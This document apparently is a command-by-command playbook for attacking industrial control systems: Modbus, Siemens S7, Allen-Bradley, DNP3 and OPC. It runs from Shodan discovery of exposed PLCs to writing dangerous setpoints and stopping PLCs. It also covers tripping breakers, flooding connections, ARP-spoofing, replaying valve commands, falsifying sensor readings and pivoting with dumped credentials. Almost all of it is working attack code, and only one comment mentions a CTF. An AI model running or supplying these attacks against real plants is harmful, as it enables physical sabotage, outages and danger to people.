sudo apt install nmap python3-pip git -y # Metasploit (has ICS modules) sudo apt install metasploit-framework -y # Install Python ICS libraries pip3 install pymodbus scapy pip3 install pysnmp python-snap7 # Clone specialized tools git clone https://github.com/sourceperl/mbtget git clone https://github.com/atimorin/scada-tools git clone https://github.com/drainware/plcscan

tcpdump -i eth0 -nn port 502 or port 102 \ or port 44818 or port 20000 \ or port 47808 -w ics_capture.pcap

zeek -i eth0 /opt/zeek/share/zeek/policy/\ protocols/modbus/main.zeek

nmap -sS -p 102,502,2222,4840,20000,44818 \ --max-rate 10 --open -T2 \ -oN ics_hosts.txt 192.168.1.0/24

nmap -sV --script modbus-discover \ -p 502 192.168.1.0/24 --max-rate 5 nmap -sV --script s7-info \ -p 102 192.168.1.0/24 --max-rate 5 nmap -sV --script enip-info \ -p 44818 192.168.1.0/24 --max-rate 5

# Install pip3 install shodan shodan init YOUR_API_KEY # Search exposed Modbus systems shodan search "port:502 Modbus" # Exposed Siemens S7 PLCs shodan search "port:102 S7" # Exposed Allen-Bradley shodan search "port:44818 CIP" # Filter by country shodan search "port:502 country:IN" # Download results shodan download --limit 100 modbus.json \ "port:502 Modbus"

python3 plcscan.py -t 192.168.1.0/24

git clone https://github.com/digitalbond/Redpoint cp Redpoint/*.nse /usr/share/nmap/scripts/ nmap --script-updatedb # Scan with Redpoint nmap -sV --script bacnet-info \ -p 47808 -sU 192.168.1.0/24

# Read 10 holding registers from address 0 mbtget -r 1 -n 10 192.168.1.10 # Read coils (binary outputs: valve open/closed) mbtget -r 0 -a 0 -n 100 192.168.1.10 # Read input registers (sensor values) mbtget -r 3 -a 0 -n 20 192.168.1.10 # Read device ID (function code 43) mbtget -i 192.168.1.10

python3 -c " from pymodbus.client import ModbusTcpClient c = ModbusTcpClient('192.168.1.10', port=502) c.connect() # Read holding registers 0-9 r = c.read_holding_registers(0, count=10, slave=1) print(r.registers) # Read coils r2 = c.read_coils(0, count=10, slave=1) print(r2.bits) c.close() "

python3 -c " import snap7 plc = snap7.client.Client() plc.connect('192.168.1.20', 0, 1) # (ip, rack, slot) — try rack=0,slot=1 for most S7-300 info = plc.get_cpu_info() print(info) # Read data block 1, starting byte 0, 10 bytes data = plc.db_read(1, 0, 10) print(data) # Read inputs (I area) inputs = plc.read_area(snap7.types.Areas.PE, 0, 0, 1) print(inputs) plc.disconnect() "

pip3 install cpppo # List all tags on Allen-Bradley PLC python3 -m cpppo.server.enip.list_services \ --address 192.168.1.30:44818 # Read a specific tag python3 -m cpppo.server.enip.client \ --address 192.168.1.30 \ 'Tag1' 'BOOL_Tag' 'INT_Register' # Use EtherNet/IP scanner python3 -m cpppo.server.enip.get_attribute \ --address 192.168.1.30 \ '@1/1/7' # Identity Object, Instance 1, Attr 7 = Product Name

python3 -c " from scapy.all import * from scapy.contrib.dnp3 import * # Send DNP3 data link frame to enumerate device pkt = IP(dst='192.168.1.40')/TCP(dport=20000)/\ DNP3()/DNP3Transport()/DNP3ApplicationRequest()\ /DNP3RequestReadAllObjects() resp = sr1(pkt, timeout=3) resp.show() " # Or use OpenDNP3 tools git clone https://github.com/automatak/dnp3 # Build and use dnp3demo to connect as master

python3 -c " from pymodbus.client import ModbusTcpClient from pymodbus.mei_message import ReadDeviceInformationRequest c = ModbusTcpClient('192.168.1.10') c.connect() req = ReadDeviceInformationRequest(0x01, slave=1) resp = c.execute(req) print('Vendor:', resp.information[0]) print('Product:', resp.information[1]) print('Version:', resp.information[2]) c.close() "

# Scan for web interfaces on ICS devices nmap -sV -p 80,443,8080,8443 \ --max-rate 5 192.168.1.0/24 # Look for common ICS web interface paths curl -s http://192.168.1.10/main.html curl -s http://192.168.1.10/diag.htm curl -s http://192.168.1.10/plc/ # Check for default creds (very common) # admin:admin, admin:password, # Administrator:(blank), user:user

msfconsole # List all ICS modules search type:auxiliary ICS search type:auxiliary SCADA search type:auxiliary modbus # Modbus client use auxiliary/scanner/scada/modbus_findunitid set RHOSTS 192.168.1.10 set RPORT 502 run # S7 scanner use auxiliary/scanner/scada/siemens_s7_300 set RHOSTS 192.168.1.0/24 run # EtherNet/IP use auxiliary/scanner/scada/profinet_simatic_disclaim run

python3 << 'EOF' from pymodbus.client import ModbusTcpClient c = ModbusTcpClient('192.168.1.10', port=502) c.connect() # Coils (0x = digital outputs — valves, motors, relays) coils = c.read_coils(address=0, count=100, slave=1) print("COILS:", coils.bits[:100]) # Discrete Inputs (1x = digital inputs — switches, sensors) di = c.read_discrete_inputs(address=0, count=100, slave=1) print("DISC INPUTS:", di.bits[:100]) # Input Registers (3x = analog inputs — temp, pressure, flow) ir = c.read_input_registers(address=0, count=30, slave=1) print("INPUT REGS:", ir.registers) # Holding Registers (4x = config setpoints, R/W) hr = c.read_holding_registers(address=0, count=30, slave=1) print("HOLDING REGS:", hr.registers) c.close() EOF

python3 -c " from pymodbus.client import ModbusTcpClient c = ModbusTcpClient('192.168.1.10') c.connect() # Force coil 0 to TRUE (open valve / start motor) c.write_coil(0, True, slave=1) # Force coil 0 to FALSE (close valve / stop motor) c.write_coil(0, False, slave=1) # Write multiple coils at once c.write_coils(0, [True,False,True,True], slave=1) c.close() "

python3 -c " from pymodbus.client import ModbusTcpClient c = ModbusTcpClient('192.168.1.10') c.connect() # Change holding register 0 to value 9999 # (e.g., overpressure setpoint, temp limit, speed) c.write_register(0, 9999, slave=1) # Write multiple registers c.write_registers(0, [100, 200, 300], slave=1) c.close() "

use auxiliary/fuzzer/modbus/modbus_request set RHOSTS 192.168.1.10 set RPORT 502 set UNIT_ID 1 set START_FC 1 # start function code set END_FC 127 # end function code run

python3 -c " from pymodbus.client import ModbusTcpClient import threading def flood(): while True: try: c = ModbusTcpClient('192.168.1.10') c.connect() c.read_holding_registers(0, 125, slave=1) c.close() except: pass # Many PLCs have max 8-16 concurrent TCP connections # Flooding exhausts the connection table threads = [threading.Thread(target=flood) for _ in range(50)] for t in threads: t.start() "

nmap -sV --script dnp3-info \ -p 20000 192.168.1.0/24 \ --max-rate 5

use auxiliary/scanner/scada/dnp3_enumeration set RHOSTS 192.168.1.40 set RPORT 20000 set MASTER_ADDRESS 3 # our source addr set STATION_ADDRESS 1 # target RTU addr run

python3 -c " from scapy.all import * from scapy.contrib.dnp3 import * # Impersonate the master SCADA # Send 'Direct Operate' to trip a breaker (CROB command) # FC 3 = Direct Operate, Code 0x41 = Latch On pkt = ( Ether()/IP(dst='192.168.1.40')/ TCP(dport=20000)/ DNP3(src=3, dst=1)/ # src=master, dst=RTU DNP3Transport(fin=1, fir=1)/ DNP3ApplicationRequest( fc=0x03, # Direct Operate ) ) send(pkt) "

python3 << 'EOF' import snap7 plc = snap7.client.Client() plc.connect('192.168.1.20', 0, 1) # CPU info — model, serial, OS version info = plc.get_cpu_info() print("Module:", info.ModuleTypeName.decode()) print("Serial:", info.SerialNumber.decode()) print("ASName:", info.ASName.decode()) # Project name! # CPU state — RUN/STOP/ERROR state = plc.get_cpu_state() print("CPU State:", state) # List data blocks # Try DB 1 through DB 100 for db in range(1, 101): try: data = plc.db_read(db, 0, 4) print(f"DB{db} exists: {data.hex()}") except: pass plc.disconnect() EOF

python3 -c " import snap7, struct plc = snap7.client.Client() plc.connect('192.168.1.20', 0, 1) # Read DB1, byte 0, 20 bytes raw = plc.db_read(1, 0, 20) # Interpret as REAL (float) at offset 0 temp = struct.unpack('>f', raw[0:4])[0] print(f'Temperature: {temp:.2f}°C') # Interpret as INT at offset 4 speed = struct.unpack('>h', raw[4:6])[0] print(f'Motor Speed: {speed} RPM') # WRITE — change setpoint to dangerous value # DB1, start byte 4, data = 9000 (overrev motor) new_val = struct.pack('>h', 9000) plc.db_write(1, 4, new_val) plc.disconnect() "

python3 -c " import snap7 plc = snap7.client.Client() plc.connect('192.168.1.20', 0, 1) # Put PLC in STOP mode — halts all outputs # On real plant: all actuators go to fail-safe state # Depending on config, valves may slam open or closed! plc.plc_stop() print('PLC stopped!') # Restart PLC (cold start = clears all I/O) plc.plc_cold_start() plc.disconnect() "

use auxiliary/admin/scada/siemens_s7_300_400_plc set RHOSTS 192.168.1.20 set ACTION UPLOAD # download PLC code from device run # Download returns the compiled PLC program # Analyze offline, find logic, modify, re-upload # This is the Stuxnet attack pattern: # 1) Download legit program # 2) Modify to add malicious logic # 3) Upload modified program # 4) PLC runs modified code, HMI shows old values

python3 << 'EOF' import cpppo from cpppo.server.enip import client # Connect to Allen-Bradley PLC with client.connector(host='192.168.1.30') as conn: # Read tags (must know tag names) operations = [ {'method': 'read', 'path': [{'symbolic': 'MotorSpeed'}]}, {'method': 'read', 'path': [{'symbolic': 'Pressure_PV'}]}, {'method': 'read', 'path': [{'symbolic': 'Valve_State'}]}, ] for op, _, _, data, path, send in conn.pipeline( operations=operations, depth=5, multiple=True, timeout=3): print(f"{path}: {data}") # Write a tag — change setpoint ops_write = [ {'method': 'write', 'path': [{'symbolic': 'MaxPressure'}], 'data': [999.0], 'tag_type': 'REAL'} ] EOF

use auxiliary/admin/scada/multi_cip_command set RHOSTS 192.168.1.30 set RPORT 44818 set COMMAND RESET # factory reset PLC! run # Also try: # COMMAND LIST_TAGS — list all tag names # COMMAND GET_ATTR — get device attributes # COMMAND RESET_MINOR — soft reset # UDP broadcast discovery (port 2222) use auxiliary/scanner/scada/enip_listservices set RHOSTS 192.168.1.255 set RPORT 2222 run

# OPC-DA runs over DCOM — classic Windows RPC # Port 135 = DCOM endpoint mapper # Enumerate DCOM services python3 /opt/impacket/examples/dcomexec.py \ -object MMC20 \ DOMAIN/user:password@192.168.1.50 cmd # Or use rpcdump to find OPC endpoints python3 /opt/impacket/examples/rpcdump.py \ 192.168.1.50 | grep -i opc # OPC server GUIDs to look for: # {76A6415B-CB41-11d1-8B02-00600806D9B6} = OPC DA 2.0 # {63D5F432-CFE4-11d1-B2C8-0060083BA1FB} = OPC DA 3.0

# WinCC MSSQL database default creds # (WinCC stores all SCADA config in SQL Server!) # Username: WinCCConnect # Password: 2WSXcder (this was hardcoded!) # Try with mssqlclient python3 /opt/impacket/examples/mssqlclient.py \ WinCCConnect:2WSXcder@192.168.1.50 # Query the WinCC tag database SELECT * FROM Runtime.dbo.PDE#Variables SELECT * FROM CC_OS1..PDE#Alarms # Also try WinCC web interface # http://192.168.1.50/WinCCWebNavigator/ # Default: Administrator / (empty password)

pip3 install opcua python3 << 'EOF' from opcua import Client c = Client("opc.tcp://192.168.1.60:4840/") # Try anonymous connect first (often allowed!) c.connect() root = c.get_root_node() # Browse all nodes def browse(node, depth=0): for child in node.get_children(): try: print(" "*depth + str(child.get_browse_name())) browse(child, depth+1) except: pass browse(root) # Read a specific node value node = c.get_node("ns=2;i=1003") # namespace=2, id=1003 print(node.get_value()) c.disconnect() EOF

# Enable IP forwarding (so traffic still flows) echo 1 > /proc/sys/net/ipv4/ip_forward # Spoof ARP between SCADA (192.168.1.5) # and PLC (192.168.1.10) # Terminal 1: tell PLC "I am the SCADA" arpspoof -i eth0 -t 192.168.1.10 192.168.1.5 # Terminal 2: tell SCADA "I am the PLC" arpspoof -i eth0 -t 192.168.1.5 192.168.1.10 # Now capture Modbus in real time tcpdump -i eth0 -nn port 502 -w mitm.pcap # Or use ettercap for combined MiTM ettercap -T -i eth0 \ -M arp /192.168.1.5// /192.168.1.10//

# 1. Capture a legitimate "open valve" command tcpdump -i eth0 -nn port 502 -w valve_open.pcap # 2. Inspect the capture tcpdump -r valve_open.pcap -XX | grep -A5 "502" # 3. Replay — resend the same command later # (e.g., reopen a valve that operator closed) tcpreplay -i eth0 --pps 1 valve_open.pcap # More surgical: extract and replay with scapy python3 -c " from scapy.all import * pkts = rdpcap('valve_open.pcap') for p in pkts: if p.haslayer('TCP') and p.dport == 502: send(p, verbose=0) "

python3 << 'EOF' from scapy.all import * def modify_modbus(pkt): # Intercept Modbus TCP responses from PLC if pkt.haslayer('TCP') and pkt.sport == 502: raw = bytes(pkt['Raw']) if len(raw) > 9: # Modbus response: bytes 9+ are register values # Replace real values with fake "normal" values # Byte 9-10: first register value # 0x00 0x64 = 100 (looks normal) fake = raw[:9] + b'\x00\x64' + raw[11:] pkt['Raw'].load = fake # Recalculate checksums del pkt['IP'].chksum del pkt['TCP'].chksum return pkt # Intercept and modify in transit sniff(iface='eth0', filter='tcp port 502', prn=modify_modbus) EOF

sudo apt install binwalk -y # Analyze firmware file (downloaded from vendor site # or extracted via TFTP/FTP from device) binwalk firmware.bin # Extract all file systems binwalk -e firmware.bin cd _firmware.bin.extracted/ # Look for hardcoded credentials grep -r "password\|passwd\|admin\|secret" \ --include="*.conf" --include="*.xml" \ --include="*.ini" -i . # Find private keys grep -r "BEGIN RSA\|BEGIN EC\|BEGIN PRIV" . # Strings analysis for URLs, IPs strings firmware.bin | grep -E \ "([0-9]{1,3}\.){3}[0-9]{1,3}" # Check for known vuln libraries strings firmware.bin | grep -E \ "OpenSSL|libssl|libc-|uClibc"

# 1. SCADA web interface — often runs Apache/IIS # Test for SQLi in tag history queries curl "http://192.168.1.50/History/GetData?\ tagName=Pressure' OR '1'='1" # 2. Path traversal in file-serving SCADA curl "http://192.168.1.50/display/\ ../../../Windows/win.ini" # 3. Look for RDP on HMI (common: operators use it) nmap -p 3389 192.168.1.0/24 --max-rate 5 # Default HMI RDP creds: # Administrator:(blank), SCADA:scada, operator:operator # 4. VNC on HMI (unencrypted, no auth sometimes) nmap -p 5900,5901 192.168.1.0/24 --max-rate 5 vncviewer 192.168.1.50:5900 # 5. TFTP — get config from devices tftp 192.168.1.10 get startup-config get /etc/passwd

# On compromised Windows host — check interfaces ipconfig /all # Look for TWO network interfaces — common on Historians # e.g., 10.0.0.x (IT) AND 192.168.1.x (OT) # Scan for OT network from dual-homed host # Route to OT subnet via compromised host route print # Set up SOCKS proxy for pivot # On attack machine: ssh -D 1080 user@compromised_host # Now configure proxychains to use 127.0.0.1:1080 # Scan OT segment through pivot proxychains nmap -sT -p 502,102,44818 \ 192.168.1.0/24 --max-rate 5

# Dump creds from IT foothold python3 secretsdump.py \ DOMAIN/user:pass@10.0.0.5 # Spray harvested creds on OT hosts # (HMIs, Engineering Workstations run Windows) for host in 192.168.1.50 192.168.1.51 192.168.1.52; do python3 smbclient.py \ Administrator:Password123@$host done # Check for EWS (Engineering Workstations) # These have TIA Portal, Studio 5000, etc. # If you can RDP here, you can reprogram PLCs via GUI crackmapexec smb 192.168.1.0/24 \ -u Administrator -p 'Password123' \ --shares

python3 << 'EOF' # CTF impact proof — demonstrate read of all process data from pymodbus.client import ModbusTcpClient import json, datetime c = ModbusTcpClient('192.168.1.10') c.connect() report = { 'timestamp': str(datetime.datetime.now()), 'target': '192.168.1.10', 'coils': c.read_coils(0, 64, slave=1).bits[:64], 'input_regs': c.read_input_registers(0, 30, slave=1).registers, 'holding_regs': c.read_holding_registers(0, 30, slave=1).registers } print(json.dumps(report, indent=2, default=str)) c.close() # This proves: unauthenticated full process read # In a real plant = complete operational intelligence EOF

python3 -c " from pymodbus.client import ModbusTcpClient c = ModbusTcpClient('192.168.1.10') c.connect() # Read original value orig = c.read_holding_registers(0, 1, slave=1).registers[0] print(f'Original value: {orig}') # Write test value c.write_register(0, 12345, slave=1) verify = c.read_holding_registers(0, 1, slave=1).registers[0] print(f'After write: {verify}') # Should be 12345 # ALWAYS restore original value after proof! c.write_register(0, orig, slave=1) print(f'Restored to: {orig}') c.close() "

python3 << 'EOF' import socket, subprocess, json from pymodbus.client import ModbusTcpClient targets = ['192.168.1.10', '192.168.1.20'] evidence = [] for ip in targets: result = {'ip': ip, 'findings': []} # 1. Port scan evidence for port in [502, 102, 44818, 20000]: try: s = socket.socket() s.settimeout(2) if s.connect_ex((ip, port)) == 0: result['findings'].append( f'OPEN PORT {port} — { {502:"Modbus",102:"S7", 44818:"EtherNet/IP", 20000:"DNP3"}[port]}') s.close() except: pass # 2. Modbus unauthenticated access proof try: c = ModbusTcpClient(ip) c.connect() r = c.read_holding_registers(0, 5, slave=1) if r and not r.isError(): result['findings'].append( f'UNAUTHENTICATED MODBUS READ: {r.registers}') c.close() except: pass evidence.append(result) print(json.dumps(evidence, indent=2)) EOF